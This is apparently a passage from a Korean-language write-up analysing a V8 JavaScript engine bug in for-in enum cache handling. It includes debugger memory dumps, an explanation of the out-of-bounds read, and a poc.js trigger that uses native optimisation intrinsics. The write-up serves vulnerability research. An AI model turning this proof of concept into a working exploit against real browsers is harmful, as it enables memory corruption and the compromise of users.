# movl r9,[r14+r9*1+0x7] : get indices >> [r14+r9*1+0x7] 0xe24000dbdb9: [FixedArray] in OldSpace - map: 0x0e2400000089 <Map(FIXED_ARRAY_TYPE)> - length: 1 0: 0 >> x/20wx 0xe24000dbdb9 - 1 0xe24000dbdb8: 0x00000089 0x00000002 0x00000000 0x000001f1 0xe24000dbdc8: 0x000dbdad 0x000dbdb9 0xbeadbeef 0xbeadbeef 0xe24000dbdd8: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xe24000dbde8: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xe24000dbdf8: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
# r11 : index # movl r9,[r9+r11*4+0x7] : get index number >> r9 0xe24000dbdc4: 0x000001f1

원래 정상적인 indeices[2]인 구조에서 가져왔다면 2라는 값이 들어있었겠지만 길이가 1인 구조이므로 enum_cache의 map을 가져오게 되므로 oob가 발생합니다.

# movl r9,[r8+r12*2+0xb] : get value  # r12 : 0x1f1 -> smi -> 0xf8 >>  x/20wx $r8+$r12*2+0xb 0xe24001ccaac:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef 0xe24001ccabc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef 0xe24001ccacc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef 0xe24001ccadc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef 0xe24001ccaec:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef

/* poc.js */ const object1 = {};
object1.a = 1; const object2 = {};
object2.a = 2;
object2.b = 3; const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6; for (let key in object2) { } function trigger(callback) { for (let key in object2) { callback(); console.log(object2[key]);
    }
}
% PrepareFunctionForOptimization(trigger); trigger(_ => _); trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger); trigger(_ => {
    object3.c = 1.1; for (let key in object1) { }
});

评论

暂无
发表评论
 返回顶部 
热度(90)
 关注微信